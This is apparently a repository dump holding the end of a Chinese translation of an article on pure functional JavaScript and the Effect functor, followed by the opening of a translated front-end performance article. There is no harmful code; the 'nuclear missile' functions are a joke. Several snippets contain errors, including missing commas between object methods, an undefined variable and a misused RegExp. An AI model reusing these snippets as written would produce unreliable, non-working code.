0，我们可以直接写出来。我知道你，文雅的读者，永远不会用 JavaScript 写控制核武器的代码。但它有助于说明这一点。这显然是不纯的代码。因为它输出日志到控制台，也可能开始热核战争。假设我们想要 0。假设我们想要计算导弹发射后的情况，我们可能需要启动倒计时之类的东西。在这种情况下，提前计划如何进行计算是完全合理的。我们会非常小心这些导弹什么时候起飞，我们不想搞混我们的计算结果，以免他们意外发射导弹。那么，如果我们将 `fZero()` 包装在另一个只返回它的函数中呢？有点像安全包装。\n\n```js\n// fZero :: () -> Number\nfunction fZero() {\n  console.log(\"Launching nuclear missiles\");\n  // 这里是发射核弹的代码\n  return 0;\n}\n\n// returnZeroFunc :: () -> (() -> Number)\nfunction returnZeroFunc() {\n  return fZero;\n}\n```\n\n我可以运行 `returnZeroFunc()` 任意次，只要不调用返回值，我理论上就是安全的。我的代码不会发射任何核弹。\n\n```js\nconst zeroFunc1 = returnZeroFunc();\nconst zeroFunc2 = returnZeroFunc();\nconst zeroFunc3 = returnZeroFunc();\n// 没有发射核弹。\n```\n\n现在，让我们更正式地定义纯函数。然后，我们可以更详细地检查我们的 `returnZeroFunc()` 函数。如果一个函数满足以下条件就可以称之为纯函数：\n\n1.  没有明显的副作用\n2.  引用透明。也就是说，给定相同的输入，它总是返回相同的输出。\n\n让我们看看 `returnZeroFunc()`。有副作用吗？嗯，之前我们确定过，调用 `returnZeroFunc()` 不会发射任何核导弹。除非执行调用返回函数的额外步骤，否则什么也不会发生。所以，这个函数没有副作用。\n\n`returnZeroFunc()` 引用透明吗？也就是说，给定相同的输入，它总是返回相同的输出？好吧，按照它目前的编写方式，我们可以测试它：\n\n```js\nzeroFunc1 === zeroFunc2; // true\nzeroFunc2 === zeroFunc3; // true\n```\n\n但它还不能算纯。`returnZeroFunc()` 函数引用函数作用域外的一个变量。为了解决这个问题，我们可以以这种方式进行重写：\n\n```js\n// returnZeroFunc :: () -> (() -> Number)\nfunction returnZeroFunc() {\n  function fZero() {\n    console.log(\"Launching nuclear missiles\");\n    // 这里是发射核弹的代码\n    return 0;\n  }\n  return fZero;\n}\n```\n\n现在我们的函数是纯函数了。但是，JavaScript 阻碍了我们。我们无法再使用 `===` 来验证引用透明性。这是因为 `returnZeroFunc()` 总是返回一个新的函数引用。但是你可以通过审查代码来检查引用透明。`returnZeroFunc()` 函数每次除了返回相同的函数其他什么也不做。\n\n这是一个巧妙的小漏洞。但我们真的能把它用在真正的代码上吗？答案是肯定的。但在我们讨论如何在实践中实现它之前，先放到一边。先回到危险的 `fZero()` 函数：\n\n```js\n// fZero :: () -> Number\nfunction fZero() {\n  console.log(\"Launching nuclear missiles\");\n  // 这里是发射核弹的代码\n  return 0;\n}\n```\n\n让我们尝试使用 `fZero()` 返回的零，但这不会发动热核战争（笑）。我们将创建一个函数，它接受 `fZero()` 最终返回的 0，并在此基础上加一：\n\n```js\n// fIncrement :: (() -> Number) -> Number\nfunction fIncrement(f) {\n  return f() + 1;\n}\n\nfIncrement(fZero);\n// ⦘ 发射导弹\n// ￩ 1\n```\n\n哎呦！我们意外地发动了热核战争。让我们再试一次。这一次，我们不会返回一个数字。相反，我们将返回一个最终返回一个数字的函数：\n\n```js\n// fIncrement :: (() -> Number) -> (() -> Number)\nfunction fIncrement(f) {\n  return () => f() + 1;\n}\n\nfIncrement(zero);\n// ￩ [Function]\n```\n\n唷！危机避免了。让我们继续。有了这两个函数，我们可以创建一系列的 '最终数字'（译者注：最终数字即返回数字的函数，后面多次出现）：\n\n```js\nconst fOne = fIncrement(zero);\nconst fTwo = fIncrement(one);\nconst fThree = fIncrement(two);\n// 等等…\n```\n\n我们也可以创建一组 `f*()` 函数来处理最终值：\n\n```js\n// fMultiply :: (() -> Number) -> (() -> Number) -> (() -> Number)\nfunction fMultiply(a, b) {\n  return () => a() * b();\n}\n\n// fPow :: (() -> Number) -> (() -> Number) -> (() -> Number)\nfunction fPow(a, b) {\n  return () => Math.pow(a(), b());\n}\n\n// fSqrt :: (() -> Number) -> (() -> Number)\nfunction fSqrt(x) {\n  return () => Math.sqrt(x());\n}\n\nconst fFour = fPow(fTwo, fTwo);\nconst fEight = fMultiply(fFour, fTwo);\nconst fTwentySeven = fPow(fThree, fThree);\nconst fNine = fSqrt(fTwentySeven);\n// 没有控制台日志或热核战争。干得不错！\n```\n\n看到我们做了什么了吗？如果能用普通数字来做的，那么我们也可以用最终数字。数学称之为 [同构](https://en.wikipedia.org/wiki/Isomorphism)。我们总是可以把一个普通的数放在一个函数中，将其变成一个最终数字。我们可以通过调用这个函数得到最终的数字。换句话说，我们建立一个数字和最终数字之间映射。这比听起来更令人兴奋。我保证，我们很快就会回到这个问题上。\n\n这样进行函数包装是合法的策略。我们可以一直躲在函数后面，想躲多久就躲多久。只要我们不调用这些函数，它们理论上都是纯的。世界和平。在常规（非核）代码中，我们实际上最终希望得到那些副作用能够运行。将所有东西包装在一个函数中可以让我们精确地控制这些效果。我们决定这些副作用发生的确切时间。但是，输入那些括号很痛苦。创建每个函数的新版本很烦人。我们在语言中内置了一些非常好的函数，比如 `Math.sqrt()`。如果有一种方法可以用延迟值来使用这些普通函数就好了。进入下一节 Effect 函子。\n\n## Effect 函子\n\n就目的而言，Effect 函子只不过是一个被置入延迟函数的对象。我们想把 `fZero` 函数置入到一个 Effect 对象中。但是，在这样做之前，先把难度降低一个等级\n\n```js\n// zero :: () -> Number\nfunction fZero() {\n  console.log(\"Starting with nothing\");\n  // 绝对不会在这里发动核打击。\n  // 但是这个函数仍然不纯\n  return 0;\n}\n```\n\n现在我们创建一个返回 Effect 对象的构造函数\n\n```js\n// Effect :: Function -> Effect\nfunction Effect(f) {\n  return {};\n}\n```\n\n到目前为止，还没有什么可看的。让我们做一些有用的事情。我们希望配合 Effetct 使用常规的 `fZero()` 函数。我们将编写一个接收常规函数并延后返回值的方法，它运行时不触发任何效果。我们称之为 `map`。这是因为它在常规函数和 Effect 函数之间创建了一个**映射**。它可能看起来像这样：\n\n```js\n// Effect :: Function -> Effect\nfunction Effect(f) {\n  return {\n    map(g) {\n      return Effect(x => g(f(x)));\n    }\n  };\n}\n```\n\n现在，如果你观察仔细的话，你可能想知道 `map()` 的作用。它看起来像是组合。我们稍后会讲到。现在，让我们尝试一下：\n\n```js\nconst zero = Effect(fZero);\nconst increment = x => x + 1; // 一个普通的函数。\nconst one = zero.map(increment);\n```\n\n嗯。我们并没有看到发生了什么。让我们修改一下 Effect，这样我们就有了办法来“扣动扳机”。可以这样写：\n\n```js\n// Effect :: Function -> Effect\nfunction Effect(f) {\n  return {\n    map(g) {\n      return Effect(x => g(f(x)));\n    },\n    runEffects(x) {\n      return f(x);\n    }\n  };\n}\n\nconst zero = Effect(fZero);\nconst increment = x => x + 1; // 只是一个普通的函数\nconst one = zero.map(increment);\n\none.runEffects();\n// ⦘ 什么也没启动\n// ￩ 1\n```\n\n并且只要我们愿意, 我们可以一直调用 `map` 函数:\n\n```js\nconst double = x => x * 2;\nconst cube = x => Math.pow(x, 3);\nconst eight = Effect(fZero)\n  .map(increment)\n  .map(double)\n  .map(cube);\n\neight.runEffects();\n// ⦘ 什么也没启动\n// ￩ 8\n```\n\n从这里开始变得有意思了。我们称这为函子，这意味着 Effect 有一个 `map` 函数，它 [遵循一些规则](https://github.com/fantasyland/fantasy-land#functor)。这些规则并不意味着你不能这样做。它们是你的行为准则。它们更像是优先级。因为 Effect 是函子大家庭的一份子，所以它可以做一些事情，其中一个叫做“合成规则”。它长这样：\n\n如果我们有一个 Effect `e`, 两个函数 `f` 和 `g`  \n那么 `e.map(g).map(f)` 等同于 `e.map(x => f(g(x)))`。\n\n换句话说，一行写两个 `map` 函数等同于组合这两个函数。也就是说 Effect 可以这样写（回顾一下上面的例子）：\n\n```js\nconst incDoubleCube = x => cube(double(increment(x)));\n// 如果你使用像 Ramda 或者 lodash/fp 之类的库，我们也可以这样写：\n// const incDoubleCube = compose(cube, double, increment);\nconst eight = Effect(fZero).map(incDoubleCube);\n```\n\n当我们这样做的时候，我们可以确认会得到与三重 `map` 版本相同的结果。我们可以使用它重构代码，并确信代码不会崩溃。在某些情况下，我们甚至可以通过在不同方法之间进行交换来改进性能。\n\n但这些例子已经足够了，让我们开始实战吧。\n\n### Effect 简写\n\n我们的 Effect 构造函数接受一个函数作为它的参数。这很方便，因为大多数我们想要延迟的副作用也是函数。例如，`Math.random()` 和 `console.log()` 都是这种类型的东西。但有时我们想把一个普通的旧值压缩成一个 Effect。例如，假设我们在浏览器的 `window` 全局对象中附加了某种配置对象。我们想要得到一个 a 的值，但这不是一个纯粹的运算。我们可以写一个小的简写，使这个任务更容易：<sup id=\"note-t-3\">[[3]](#note-f-3)</sup>\n\n```js\n// of :: a -> Effect a\nEffect.of = function of(val) {\n  return Effect(() => val);\n};\n```\n\n为了说明这可能会很方便，假设我们正在处理一个 web 应用。这个应用有一些标准特性，比如文章列表和用户简介。但是在 HTML 中，这些组件针对不同的客户进行展示。因为我们是聪明的工程师，所以我们决定将他们的位置存储在一个全局配置对象中，这样我们总能找到它们。例如：\n\n```js\nwindow.myAppConf = {\n  selectors: {\n    \"user-bio\": \".userbio\",\n    \"article-list\": \"#articles\",\n    \"user-name\": \".userfullname\"\n  },\n  templates: {\n    greet: \"Pleased to meet you, {name}\",\n    notify: \"You have {n} alerts\"\n  }\n};\n```\n\n现在使用 `Effect.of()`，我们可以很快地把我们想要的值包装进一个 Effect 容器, 就像这样\n\n```js\nconst win = Effect.of(window);\nuserBioLocator = win.map(x => x.myAppConf.selectors[\"user-bio\"]);\n// ￩ Effect('.userbio')\n```\n\n### 内嵌 与 非内嵌 Effect\n\n映射 Effect 可能对我们大有帮助。但是有时候我们会遇到映射的函数也返回一个 Effect 的情况。我们已经定义了一个 `getElementLocator()`，它返回一个包含字符串的 Effect。如果我们真的想要拿到 DOM 元素，我们需要调用另外一个非纯函数 `document.querySelector()`。所以我们可能会通过返回一个 Effect 来纯化它：\n\n```js\n// $ :: String -> Effect DOMElement\nfunction $(selector) {\n  return Effect.of(document.querySelector(s));\n}\n```\n\n现在如果想把它两放一起，我们可以尝试使用 `map()`：\n\n```js\nconst userBio = userBioLocator.map($);\n// ￩ Effect(Effect(<div>))\n```\n\n想要真正运作起来还有点尴尬。如果我们想要访问那个 div，我们必须用一个函数来映射我们想要做的事情。例如，如果我们想要得到 `innerHTML`，它看起来是这样的：\n\n```js\nconst innerHTML = userBio.map(eff => eff.map(domEl => domEl.innerHTML));\n// ￩ Effect(Effect('<h2>User Biography</h2>'))\n```\n\n让我们试着分解。我们会回到 `userBio`，然后继续。这有点乏味，但我们想弄清楚这里发生了什么。我们使用的标记 `Effect('user-bio')` 有点误导人。如果我们把它写成代码，它看起来更像这样：\n\n```js\nEffect(() => \".userbio\");\n```\n\n但这也不准确。我们真正做的是：\n\n```js\nEffect(() => window.myAppConf.selectors[\"user-bio\"]);\n```\n\n现在，当我们进行映射时，它就相当于将内部函数与另一个函数组合（正如我们在上面看到的）。所以当我们用 `$` 映射时，它看起来像这样：\n\n```js\nEffect(() => window.myAppConf.selectors[\"user-bio\"]);\n```\n\n把它展开得到:\n\n```js\nEffect(\n  () => Effect.of(document.querySelector(window.myAppConf.selectors['user-bio'])))\n);\n```\n\n展开 `Effect.of` 给我们一个更清晰的概览：\n\n```js\nEffect(() =>\n  Effect(() => document.querySelector(window.myAppConf.selectors[\"user-bio\"]))\n);\n```\n\n注意: 所有实际执行操作的代码都在最里面的函数中，这些都没有泄露到外部的 Effect。\n\n#### Join\n\n为什么要这样拼写呢？我们想要这些内嵌的 Effect 变成非内嵌的形式。转换过程中，要保证没有引入任何预料之外的副作用。对于 Effect 而言, 不内嵌的方式就是在外部函数调用 `.runEffects()`。 但这可能会让人困惑。我们已经完成了整个练习，以检查我们不会运行任何 Effect。我们会创建另一个函数做同样的事情，并将其命名为 `join`。我们使用 `join` 来解决 Effect 内嵌的问题，使用 `runEffects()` 真正运行所有 Effect。 即使运行的代码是相同的，但这会使我们的意图更加清晰。\n\n```js\n// Effect :: Function -> Effect\nfunction Effect(f) {\n  return {\n    map(g) {\n        return Effect(x => g(f(x)));\n    },\n    runEffects(x) {\n        return f(x);\n    }\n    join(x) {\n        return f(x);\n    }\n  }\n}\n```\n\n然后，可以用它解开内嵌的用户简介元素：\n\n```js\nconst userBioHTML = Effect.of(window)\n  .map(x => x.myAppConf.selectors[\"user-bio\"])\n  .map($)\n  .join()\n  .map(x => x.innerHTML);\n// ￩ Effect('<h2>User Biography</h2>')\n```\n\n#### Chain\n\n`.map()` 之后紧跟 `.join()` 这种模式经常出现。事实上，有一个简写函数是很方便的。这样，无论何时我们有一个返回 Effect 的函数，我们都可以使用这个简写函数。它可以把我们从一遍又一遍地写 `map` 然后紧跟 `join` 中解救出来。我们这样写：\n\n```js\n// Effect :: Function -> Effect\nfunction Effect(f) {\n    return {\n        map(g) {\n            return Effect(x => g(f(x)));\n        },\n        runEffects(x) {\n            return f(x);\n        }\n        join(x) {\n            return f(x);\n        }\n        chain(g) {\n            return Effect(f).map(g).join();\n        }\n    }\n}\n```\n\n我们调用新的函数 `chain()` 因为它允许我们把 Effect 链接到一起。（其实也是因为标准告诉我们可以这样调用它）。<sup id=\"note-t-4\">[[4]](#note-f-4)</sup> 取到用户简介元素的 `innerHTML` 可能长这样：\n\n```js\nconst userBioHTML = Effect.of(window)\n  .map(x => x.myAppConf.selectors[\"user-bio\"])\n  .chain($)\n  .map(x => x.innerHTML);\n// ￩ Effect('<h2>User Biography</h2>')\n```\n\n不幸的是, 对于这个实现其他函数式语言有着一些不同的名字。如果你读到它，你可能会有点疑惑。有时候它被称之为 `flatMap`，这样起名是说得通的，因为我们先进行一个普通的映射，然后使用 `.join()` 扁平化结果。不过在 Haskell 中，`chain` 被赋予了一个令人疑惑的名字 `bind`。所以如果你在其他地方读到的话，记住 `chain`、`flatMap` 和 `bind` 其实是同一概念的引用。\n\n### 结合 Effect\n\n这是最后一个使用 Effect 有点尴尬的场景，我们想要在一个函数中组合两个或者多个函子。例如，如何从 DOM 中拿到用户的名字？拿到名字后还要插入应用配置提供的模板里呢？因此，我们可能有一个模板函数（注意我们将创建一个科里化版本的函数）\n\n```js\n// tpl :: String -> Object -> String\nconst tpl = curry(function tpl(pattern, data) {\n    return Object.keys(data).reduce(\n        (str, key) => str.replace(new RegExp(`{${key}}`, data[key]),\n        pattern\n    );\n});\n```\n\n一切都很正常，但是现在来获取我们需要的数据：\n\n```js\nconst win = Effect.of(window);\nconst name = win.map(w => w.myAppConfig.selectors['user-name'])\n    .chain($)\n    .map(el => el.innerHTML)\n    .map(str => ({name: str});\n// ￩ Effect({name: 'Mr. Hatter'});\n\nconst pattern = win.map(w => w.myAppConfig.templates('greeting'));\n// ￩ Effect('Pleased to meet you, {name}');\n```\n\n我们已经有一个模板函数了。它接收一个字符串和一个对象并且返回一个字符串。但是我们的字符串和对象（`name` 和 `pattern`）已经包装到 Effect 里了。我们所要做的就是提升我们 `tpl()` 函数到更高的地方使得它能很好地与 Effect 工作。\n\n让我们看一下如果我们在 pattern Effect 上用 `map()` 调用 `tpl()` 会发生什么：\n\n```js\npattern.map(tpl);\n// ￩ Effect([Function])\n```\n\n对照一下类型可能会使得事情更加清晰一点。map 的函数声明可能长这样：\n\n    _map :: Effect a ~> (a -> b) -> Effect b_\n\n这是模板函数的函数声明：\n\n    _tpl :: String -> Object -> String_\n\n因此，当我们在 `pattern` 上调用 `map`，我们在 Effect 内部得到了一个**偏应用**函数（记住我们科里化过 `tpl`）。\n\n    _Effect (Object -> String)_\n\n现在我们想从 pattern Effect 内部传递值，但我们还没有办法做到。我们将编写另一个 Effect 方法（称为 `ap()`）来处理这个问题：\n\n```js\n// Effect :: Function -> Effect\nfunction Effect(f) {\n    return {\n        map(g) {\n            return Effect(x => g(f(x)));\n        },\n        runEffects(x) {\n            return f(x);\n        }\n        join(x) {\n            return f(x);\n        }\n        chain(g) {\n            return Effect(f).map(g).join();\n        }\n        ap(eff) {\n            //  如果有人调用了 ap，我们假定 eff 里面有一个函数而不是一个值。\n            // 我们将用 map 来进入 eff 内部, 并且访问那个函数\n            // 拿到 g 后，就传入 f() 的返回值\n            return eff.map(g => g(f()));\n        }\n    }\n}\n```\n\n有了它，我们可以运行 `.ap()` 来应用我们的模板函数：\n\n```js\nconst win = Effect.of(window);\nconst name = win\n  .map(w => w.myAppConfig.selectors[\"user-name\"])\n  .chain($)\n  .map(el => el.innerHTML)\n  .map(str => ({ name: str }));\n\nconst pattern = win.map(w => w.myAppConfig.templates(\"greeting\"));\n\nconst greeting = name.ap(pattern.map(tpl));\n// ￩ Effect('Pleased to meet you, Mr Hatter')\n```\n\n我们已经实现我们的目标。但有一点我要承认，我发现 `ap()` 有时会让人感到困惑。很难记住我必须先映射函数，然后再运行 `ap()`。然后我可能会忘了参数的顺序。但是有一种方法可以解决这个问题。大多数时候，我想做的是把一个普通函数提升到应用程序的世界。也就是说，我已经有了简单的函数，我想让它们与具有 `.ap()` 方法的 Effect 一起工作。我们可以写一个函数来做这个：\n\n```js\n// liftA2 :: (a -> b -> c) -> (Applicative a -> Applicative b -> Applicative c)\nconst liftA2 = curry(function liftA2(f, x, y) {\n  return y.ap(x.map(f));\n  // 我们也可以这样写：\n  //  return x.map(f).chain(g => y.map(g));\n});\n```\n\n我们称它为 `liftA2()` 因为它会提升一个接受两个参数的函数. 我们可以写一个与之相似的 `liftA3()`，像这样：\n\n```js\n// liftA3 :: (a -> b -> c -> d) -> (Applicative a -> Applicative b -> Applicative c -> Applicative d)\nconst liftA3 = curry(function liftA3(f, a, b, c) {\n  return c.ap(b.ap(a.map(f)));\n});\n```\n\n注意，`liftA2` 和 `liftA3` 从来没有提到 Effect。理论上，它们可以与任何具有兼容 `ap()` 方法的对象一起工作。\n使用 `liftA2()` 我们可以像下面这样重写之前的例子：\n\n```js\nconst win = Effect.of(window);\nconst user = win.map(w => w.myAppConfig.selectors['user-name'])\n    .chain($)\n    .map(el => el.innerHTML)\n    .map(str => ({name: str});\n\nconst pattern = win.map(w => w.myAppConfig.templates['greeting']);\n\nconst greeting = liftA2(tpl)(pattern, user);\n// ￩ Effect('Pleased to meet you, Mr Hatter')\n```\n\n## 那又怎样？\n\n这时候你可能会想：“这似乎为了避免随处可见的奇怪的副作用而付出了很多努力”。这有什么关系？传入参数到 Effect 内部，封装 `ap()` 似乎是一项艰巨的工作。当不纯代码正常工作时，为什么还要烦恼呢？在实际场景中，你什么时候会需要这个？\n\n> 函数式程序员听起来很像是中世纪的僧侣似的，他们禁绝了尘世中的种种乐趣并且期望这能使自己变得高洁。\n>\n> —John Hughes <sup id=\"note-t-5\">[[5]](#note-f-5)</sup>\n\n让我们把这些反对意见分成两个问题：\n\n1.  函数纯度真的重要吗？\n2.  在真实场景中什么时候有用？\n\n### 函数纯度重要性\n\n函数纯度的确重要。当你单独观察一个小函数时，一点点的副作用并不重要。写 `const pattern = window.myAppConfig.templates['greeting'];` 比写下面这样的代码更加快速简单。\n\n```js\nconst pattern = Effect.of(window).map(w => w.myAppConfig.templates(\"greeting\"));\n```\n\n如果代码里都是这样的小函数，那么继续这么写也可以，副作用不足以成问题。但这只是应用程序中的一行代码，其中可能包含数千甚至数百万行代码。当你试图弄清楚为什么你的应用程序莫名其妙地“看似毫无道理地”停止工作时，函数纯度就变得更加重要了。如果发生了一些意想不到的事，你试图把问题分解开来，找出原因。在这种情况下，可以排除的代码越多越好。如果您的函数是纯的，那么您可以确信，影响它们行为的唯一因素是传递给它的输入。这就大大缩小了要考虑的异常范围。换句话说，它能让你少思考。这在大型、复杂的应用程序中尤为重要。\n\n### 实际场景中的 Effect 模式\n\n好吧。如果你正在构建一个大型的、复杂的应用程序，类似 Facebook 或 Gmail。那么函数纯度可能很重要。但如果不是大型应用呢？让我们考虑一个越发普遍的场景。你有一些数据。不只是一点点数据，而是大量的数据 —— 数百万行，在 CSV 文本文件或大型数据库表中。你的任务是处理这些数据。也许你在训练一个人工神经网络来建立一个推理模型。也许你正试图找出加密货币的下一个大动向。无论如何, 问题是要完成这项工作需要大量的处理工作。\n\nJoel Spolsky 令人信服地论证过 [函数式编程可以帮助我们解决这个问题](https://www.joelonsoftware.com/2006/08/01/can-your-programming-language-do-this/)。我们可以编写并行运行的 `map` 和 `reduce` 的替代版本，而函数纯度使这成为可能。但这并不是故事的结尾。当然，您可以编写一些奇特的并行处理代码。但即便如此，您的开发机器仍然只有 4 个内核（如果幸运的话，可能是 8 个或 16 个）。那项工作仍然需要很长时间。除非，也就是说，你可以在一堆处理器上运行它，比如 GPU，或者整个处理服务器集群。\n\n要使其工作，您需要描述您想要运行的计算。但是，您需要在不实际运行它们的情况下描述它们。听起来是不是很熟悉？理想情况下，您应该将描述传递给某种框架。该框架将小心地负责读取所有数据，并将其在处理节点之间分割。然后框架会把结果收集在一起，告诉你它的运行情况。这就是 TensorFlow 的工作流程。\n\n> TensorFlow™ 是一个高性能数值计算开源软件库。它灵活的架构支持从桌面到服务器集群，从移动设备到边缘设备的跨平台（CPU、GPU、TPU）计算部署。Google AI 组织内的 Google Brain 小组的研究员和工程师最初开发 TensorFlow 用于支持机器学习和深度学习领域，其灵活的数值计算内核也应用于其他科学领域。\n>\n> —TensorFlow 首页<sup id=\"note-t-6\">[[6]](#note-f-6)</sup>\n\n当您使用 TensorFlow 时，你不会使用你所使用的编程语言中的常规数据类型。而是，你需要创建张量。如果我们想加两个数字，它看起来是这样的：\n\n```python\nnode1 = tf.constant(3.0, tf.float32)\nnode2 = tf.constant(4.0, tf.float32)\nnode3 = tf.add(node1, node2)\n```\n\n上面的代码是用 Python 编写的，但是它看起来和 JavaScript 没有太大的区别，不是吗？和我们的 Effect 类似，`add` 直到我们调用它才会运行（在这个例子中使用了 `sess.run()`）：\n\n```python\nprint(\"node3: \", node3)\nprint(\"sess.run(node3): \", sess.run(node3))\n#⦘ node3:  Tensor(\"Add_2:0\", shape=(), dtype=float32)\n#⦘ sess.run(node3):  7.0\n```\n\n在调用 `sess.run()` 之前，我们不会得到 7.0。正如你看到的，它和延时函数很像。我们提前计划好了计算。然后，一旦准备好了，发动战争。\n\n## 总结\n\n本文涉及了很多内容，但是我们已经探索了两种方法来处理代码中的函数纯度：\n\n1.  依赖注入\n2.  Effect 函子\n\n依赖注入的工作原理是将代码的不纯部分移出函数。所以你必须把它们作为参数传递进来。相比之下，Effect 函子的工作原理则是将所有内容包装在一个函数后面。要运行这些 Effect，我们必须先运行包装器函数。\n\n这两种方法都是欺骗。他们不会完全去除不纯，他们只是把它们推到代码的边缘。但这是件好事。它明确说明了代码的哪些部分是不纯的。在调试复杂代码库中的问题时，很有优势。\n\n1.  这不是一个完整的定义，但暂时可以使用。我们稍后会回到正式的定义。<sup id=\"note-f-1\">[ ↩](#note-t-1)</sup>\n\n2.  在其他语言（如 Haskell）中，这称为 IO 函子或 IO 单子。[PureScript](http://www.purescript.org/) 使用 **Effect** 作为术语。我发现它更具有描述性。<sup id=\"note-f-2\">[ ↩](#note-t-2)</sup>\n\n3.  注意，不同的语言对这个简写有不同的名称。例如，在 Haskell 中，它被称为 `pure`。我不知道为什么。<sup id=\"note-f-3\">[ ↩](#note-t-3)</sup>\n\n4.  在这个例子中，采用了 [Fantasy Land specification for Chain](https://github.com/fantasyland/fantasy-land#chain) 规范。<sup id=\"note-f-4\">[ ↩](#note-t-4)</sup>\n\n5.  John Hughes, 1990, ‘Why Functional Programming Matters’, _Research Topics in Functional Programming_ ed. D. Turner, Addison–Wesley, pp 17–42, [https://www.cs.kent.ac.uk/people/staff/dat/miranda/whyfp90.pdf](https://www.cs.kent.ac.uk/people/staff/dat/miranda/whyfp90.pdf) <sup id=\"note-f-5\">[ ↩](#note-t-5)</sup>\n\n6.  **TensorFlow™：面向所有人的开源机器学习框架，** [https://www.tensorflow.org/](https://www.tensorflow.org/)，12 May 2018。<sup id=\"note-f-6\">[ ↩](#note-t-6)</sup>\n\n- [欢迎通过 Twitter 交流](https://twitter.com/share?url=http://jrsinclair.com/articles/2018/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript&text=%E2%80%9CHow to deal with dirty side effects in your pure functional JavaScript%E2%80%9D+by+%40jrsinclair)\n- [通过电子邮件系统订阅最新资讯](/subscribe.html)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-debug-front-end-optimising-network-assets.md",
    "content": "> * 原文地址：[How to debug front-end: optimising network assets](https://blog.pragmatists.com/how-to-debug-front-end-optimising-network-assets-c0bfcad29b40)\n> * 原文作者：[Michał Witkowski](https://blog.pragmatists.com/@WitkowskiMichau?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-debug-front-end-optimising-network-assets.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-debug-front-end-optimising-network-assets.md)\n> * 译者：[stormluke](https://github.com/stormluke)\n> * 校对者：[Starrier](https://github.com/Starriers)、[allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 如何调试前端：优化网络资源\n\n![](https://cdn-images-1.medium.com/max/800/1*RD1J6kKPcfZV3MeAq-f4bA.jpeg)\n\n网络性能可以决定 web app 的成败。最初 app 很新很小时，很少有开发者会持续关注 app 到底用了多长时间发送了多少兆字节给用户。\n\n如果你从未测量过自己 app 的性能，那很可能会有一些改进余地。问题是，你需要改善多少才能让用户注意到。\n\n在下面的研究中，你可以找到有关多长的加载时间差异可以被人们明显地感受到的信息。如果你想让用户注意到你的努力，那就要超过 20% 这个门槛。[阅读更多](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/#the-need-for-performance-optimization-the-20-rule)\n\n这篇文章中，我会介绍（TL;DR）：\n\n* 通过 Chrome Devtool Audit 来测量性能\n* 图像优化\n* Web 字体优化\n* JavaScript 优化\n* 渲染阻塞资源时的优化\n* 其他性能测量应用/扩展\n\n如果你正在努力解决这之外的一些问题，请在评论告诉所我们 —— 我们的团队和读者们很乐意提供帮助。\n\n**这篇文章是《如何调试前端》系列的一部分：**\n\n* [如何调试前端：HTML/CSS](https://blog.pragmatists.com/how-to-debug-front-end-elements-d97da4cbc3ea)\n* [如何调试前端：控制台](https://blog.pragmatists.com/how-to-debug-front-end-console-3456e4ee5504)\n\n### 衡量 app 的性能\n\n#### Chrome Devtools Audits\n\n由于整篇文章都是关于 Chrome Devtools 的，我们就先从 Audit 标签页开始（其本身使用了 Lighthouse）\n\n打开 Chrome Devtools > Audits > Perform an audit... > Run audit\n\n我决定检查性能（Performance）和最佳实践（Best practices），但我们这次暂不涉及渐进式 Web 应用（Progressive Web App）或无障碍性（Accessibility）主题。\n\n![](https://cdn-images-1.medium.com/max/800/0*Vu8XSuJJ4qkaGqzQ.)\n\n不错。一段时间后，我们完成了性能评估，并知道了一些改进这些性能指标的可行方法。如果 Audit 把屏幕分辨率调成了「移动设备」，请不必担心，因为对于 Chrome 来说这是正常的。我强烈建议你用 Chrome 金丝雀版（Canary）来执行评估。金丝雀版有个可以评估桌面版网页的选项，并且增加了网络限速功能 —— 看看下面的图片。\n\n![](https://cdn-images-1.medium.com/max/800/0*VJ1eB8sRN7fB3Pr-.)\n\n### 指标\n\n![](https://cdn-images-1.medium.com/max/800/0*2OAae2UKiLFk2b6T.)\n\n指标（Metrics）选项卡收集了基本的测量结果，并且提供了页面加载时间的总体概况。\n\n**`首次有意义绘图（First meaningful paint）`** —— audit 确定用户首次看到主要内容所需的时间。请尽可能保持在 1 秒以下。[阅读更多](https://developers.google.com/web/fundamentals/performance/rail)\n\n**`首次可交互（First interactive）`** —— 指首次用户看到可交互 UI 元素并且页面可以响应所需的时间。\n\n**`感知速度指数（Perceptual Speed Index）`** —— 指显示页面可见部分的平均时间。它以毫秒表示并取决于视口的大小。请尽量保持在 1250 毫秒以下。[阅读更多](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/metrics/speed-index)\n\n**`预估输入延迟（Estimated Input Latency）`** —— 应用响应用户输入的时间，以毫秒为单位。\n\n#### 改进点\n\n**`改进点（Opportunities）`** —— 是一个更详细的部分，收集了有关图片、CSS 和响应时间的信息。我会介绍每个项目，并加上一些如何加速的小提示。\n\n#### 减少阻塞渲染（render-blocking）的样式表\n\nCSS 文件被视为渲染阻塞资源。意味着浏览器会等待它们完全加载完毕，之后才开始渲染。最简单的方法就是不加载不必要的 CSS 文件。如果你使用 bootstrap，也许你不需要整个库来样式化你的页面 —— 尤其是在项目刚开始时。\n\n其次，你可以考虑针对不同屏幕尺寸进行优化。要降低加载 CSS 的数量级，可以使用条件加载，它只加载特定屏幕分辨率所需的 CSS 文件。下面有个例子。\n\n```html\n<link href=\"other.css\" 